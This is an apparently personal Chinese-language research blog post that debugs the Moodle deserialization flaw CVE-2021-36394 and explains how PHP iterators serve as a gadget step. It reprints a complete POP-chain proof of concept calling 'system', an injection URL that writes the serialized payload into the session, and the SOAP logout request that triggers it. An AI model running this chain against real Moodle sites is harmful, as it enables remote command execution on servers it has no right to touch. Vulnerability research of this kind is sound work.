CVE-2021-36394 调试分析

date
Dec 15, 2021
slug
CVE-2021-36394-analyse
status
Published
tags
PHP安全
安全研究
summary
moodle相关的一个反序列化的洞,分析一下
type
Post
moodle相关的一个反序列化的洞,分析一下
phpbrew安装完插件记得重启!!!!!!
需要开启Shibboleth认证插件,不知道咋开启,当时后台开启了
判断路径:
/auth/shibboleth/login.php
不知道如何写入session的,还需要一个恶意的类
 
 
参考:

pop链相关

过了一个月之后在xz上看到文章,又学到了一点新知识,主要是关于Iterator 这个迭代器的一个知识点,这能拿来做一个新的跳板,而且这是属于PHP 7的新特性,注意这张图片的最后一句话
notion image
关键是迭代器的那个类会实现接口中的一些方法,里面可能会有一些危害点,这个东西必须得跟foreach一起使用,所以可以关注foreach第一个参数是否是可控的,可控的就可以让其赋值为相关的接口的对象
<?php
/**
 * 该类允许外部迭代自己内部私有属性$_test,并演示迭代过程
 *
 * @author 疯狂老司机
 */
class TestIterator implements Iterator {
 
    /*
     * 定义要进行迭代的数组
     */
    private $_test = array('dog', 'cat', 'pig');
 
    /*
     * 索引游标
     */
    private $_key = 0;
 
    /*
     * 执行步骤
     */
    private $_step = 0;
 
    /**
     * 将索引游标指向初始位置
     *
     * @see TestIterator::rewind()
     */
    public function rewind() {
        echo '第'.++$this->_step.'步:执行 '.__METHOD__."\n";
        $this->_key = 0;
    }
 
    /**
     * 判断当前索引游标指向的元素是否设置
     *
     * @see TestIterator::valid()
     * @return bool
     */
    public function valid() {
        echo '第'.++$this->_step.'步:执行 '.__METHOD__."\n";
        return isset($this->_test[$this->_key]);
    }
 
    /**
     * 将当前索引指向下一位置
     *
     * @see TestIterator::next()
     */
    public function next() {
        echo '第'.++$this->_step.'步:执行 '.__METHOD__."\n";
        $this->_key++;
    }
    /**
     * 返回当前索引游标指向的元素的值
     *
     * @see TestIterator::current()
     * @return value
     */
    public function current() {
        echo '第'.++$this->_step.'步:执行 '.__METHOD__."\n";
        return $this->_test[$this->_key];
    }
 
    /**
     * 返回当前索引值
     *
     * @return key
     * @see TestIterator::key()
     */
    public function key() {
        echo '第'.++$this->_step.'步:执行 '.__METHOD__."\n";
        return $this->_key;
    }
}
 
$iterator = new TestIterator();
foreach($iterator as $key => $value){
    echo "输出索引为{$key}的元素".":$value".'\n\n';
}
?>
这是测试的代码,输出的结果如下:
1步:执行 TestIterator::rewind
第2步:执行 TestIterator::valid
第3步:执行 TestIterator::current
第4步:执行 TestIterator::key
输出索引为0的元素:dog\n\n第5步:执行 TestIterator::next
第6步:执行 TestIterator::valid
第7步:执行 TestIterator::current
第8步:执行 TestIterator::key
输出索引为1的元素:cat\n\n第9步:执行 TestIterator::next
第10步:执行 TestIterator::valid
第11步:执行 TestIterator::current
第12步:执行 TestIterator::key
输出索引为2的元素:pig\n\n第13步:执行 TestIterator::next
第14步:执行 TestIterator::valid
可以观察到代码中会固定执行valid→current→key→next这几个步骤,因此在漏洞利用的时候可以多找找这几个函数
 
那么就来找一下这个漏洞的pop链
这一条是能直接RCE的
\core\lock\lock::__destruct→\core_availability\tree::__toString→\core\dml\recordset_walk::current
这个过程还是需要自己构建一些参数,可以观察到最后的触发点之前,还需要经过valid()和current()函数的处理,所以这里的$this->recordset最好还是找Iterable的实例对象比较好,只有这个对象才把对应的这两个函数给实现了,当然也能找其他的
notion image
漏洞作者最后找的是question_attempt_iterator 这个类,这个类是实现了Iterable接口的,测试发现这个类并不在这个CMS初始化的类里面,这时候的解决方法找了一个中转类
notion image
但是好像get_defined_classes打印出来的内容展示的并不全面,后来我还是全局搜索的spl_autoload_register才找到最终调用classloader在哪,这里是install.php调用的地方
notion image
如果是从index.php里面出发是以包含config.php触发的,最终会包含setup.php,在下图的代码里面包含最后的文件
notion image
找到对应函数,注释内容已经告诉我们是怎么加载文件了的,可以看到都是加载的classes文件下的php文件,最后还是常规的文件包含引入那个文件
notion image
此时打印一下self::$classmap 的内容就能发现已加载的相关类,显而易见,都是在各模块下的classes文件夹下的php文件内容
notion image
其中作者寻找的question_attempt_iterator 并不在里面,实锤了,但是可以使用一个中间文件,就上图的core_question_external类,这个类里面引入了question_usage_by_activity 所在的PHP 文件
notion image
文章给出的poc:
<?php


namespace core\lock {
    class lock {
        public function __construct($class)
        {
            $this->key = $class;
        }
    }
}

namespace core_availability{
    class tree {
        public function __construct($class)
        {
            $this->children = $class;
        }
    }
}

namespace core\dml{
    class recordset_walk {
        public function __construct($class)
        {
            $this->recordset = $class;
            $this->callbackextra = null;
            $this->callback = "system";

        }
    }
}

namespace {

    class question_attempt_iterator{
        public function __construct($class)
        {
            $this->slots = array(
                "xxx" => "key"
            );
            $this->quba = $class;
        }
    }

    class question_usage_by_activity{
        public function __construct()
        {
            $this->questionattempts = array(
                "key" => "whoami"
            );
        }
    }

    class core_question_external{

    }

    $add_lib = new core_question_external();
    $activity = new question_usage_by_activity();
    $iterator = new question_attempt_iterator($activity);
    $walk = new core\dml\recordset_walk($iterator);
    $tree = new core_availability\tree($walk);
    $lock = new core\lock\lock($tree);

    $arr = array($add_lib, $lock);

    $value = serialize($arr);

    echo $value;


}
最后作者用了一层数组包裹着,然后触发,太巧妙了,这样一来就先包含了相关文件内容,然后再去实例化某个类,挺好的又学到一招了,不过这招在P师傅的那篇CSRF反序列化的文章也提及过,在index.php里面测试可以触发成功。
然而我一开始找到的是另外一个实现了接口的类,但是此时会变成不识别的类,导致不能进入对应的函数中。。。
还有另外一条操作数据库操作的链条,参考这个exp: https://github.com/dinhbaouit/CVE-2021-36394/blob/master/CVE2021-36394.php
最后到达的类是grade_item类,这个类里面有很多的数据库操作,可以利用这个点进行数据库操作
 
 
 

寻找写入session的入口点:

从exp里面可以看出来写入的路径在:grade/report/grader/index.php
这个页面是可以直接访问的,但是前提需要我们去设置一些参数,这里有required_param和optional_param两个函数方法,这两个函数实际上是必须要的参数以及可选参数,跟进去就可以发现这些内容都是用$_GET和$_POST封装的
notion image
notion image
这时候就需要寻找session相关的写入点,可以看到这两处地方可控,而且这里的传入的内容最后还会写入到session中去,他这里的session使用了全局变量加引用的方式封装,本质上还是那个全局变量$_SESSION,此时只要输入id和sifirst参数写入内容即可,因为id参数是必须的
notion image
notion image
 

反序列化的触发点:

auth/shibboleth/logout.php 这个认证方式默认是不开启的,需要后台开启一下
notion image
可以看出当获取的内容为$inputstream,并且这个内容不为空的时候,会调用SoapServer的LogoutNotification进行处理,因为moodle默认是文件存储session的,会走logout_file_session函数,这个函数会遍历这个文件夹下的内容,然后反序列化里面的内容,但是这个反序列化函数也是经过封装过的,经过了一次正则的处理
这里$inputstream,需要是这种格式的
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>
            <LogoutNotification><spsessionid>xxxx</spsessionid>
            </LogoutNotification></soap:Body></soap:Envelope>
notion image
notion image
上图的data[0] 是session文件的所有内容,在unserializesession函数里面纪念性分割,是以| 进行分割,两两一组, 后面的内容将会进行反序列化的操作,所以在我们写入的时候必须闭合一下相关的内容,也可以不闭合,直接简单粗暴(这是因为他争则的问题。。。。),aaaaaa|......payload......|bbbbbb 构造这样的形式也是可以触发的
notion image
http://10.101.168.140:49079/grade/report/grader/index.php?id=test123&sifirst=aaaaaa|a:2:{i:0;O:22:%22core_question_external%22:0:{}i:1;O:14:%22core\lock\lock%22:1:{s:3:%22key%22;O:22:%22core_availability\tree%22:1:{s:8:%22children%22;O:23:%22core\dml\recordset_walk%22:3:{s:9:%22recordset%22;O:25:%22question_attempt_iterator%22:2:{s:5:%22slots%22;a:1:{s:3:%22xxx%22;s:3:%22key%22;}s:4:%22quba%22;O:26:%22question_usage_by_activity%22:1:{s:16:%22questionattempts%22;a:1:{s:3:%22key%22;s:2:%22id%22;}}}s:13:%22callbackextra%22;N;s:8:%22callback%22;s:6:%22system%22;}}}}|bbbbbb
直接写入了,触发
notion image
 
 

总结

1.如果单纯测试payload是否可行,测试的时候最好还是在index.php页面测试,不然的话还得自己找一下spl在哪里注册的全局类,最好还是找找spl引入的地方更方便自己调试
2.这种没有框架的,还是得注意一下spl,梳理好怎么调用每一个class
3.使用数组包含多个类,然后利用中间类去引入其他文件(本质上是spl的注册文件包含问题),又想到另外一个点,这个点跟这个moodle还是有点不同的(我用的非windows调试),这里通过中间类文件包含是因为恰好需要的文件在同一目录下,没涉及到文件分隔符的作用
notion image
4.还是得梳理整个CMS的内容包括他是如何输入数据的,怎么封装的,还是得了解清楚

© 4me 2021 - 2024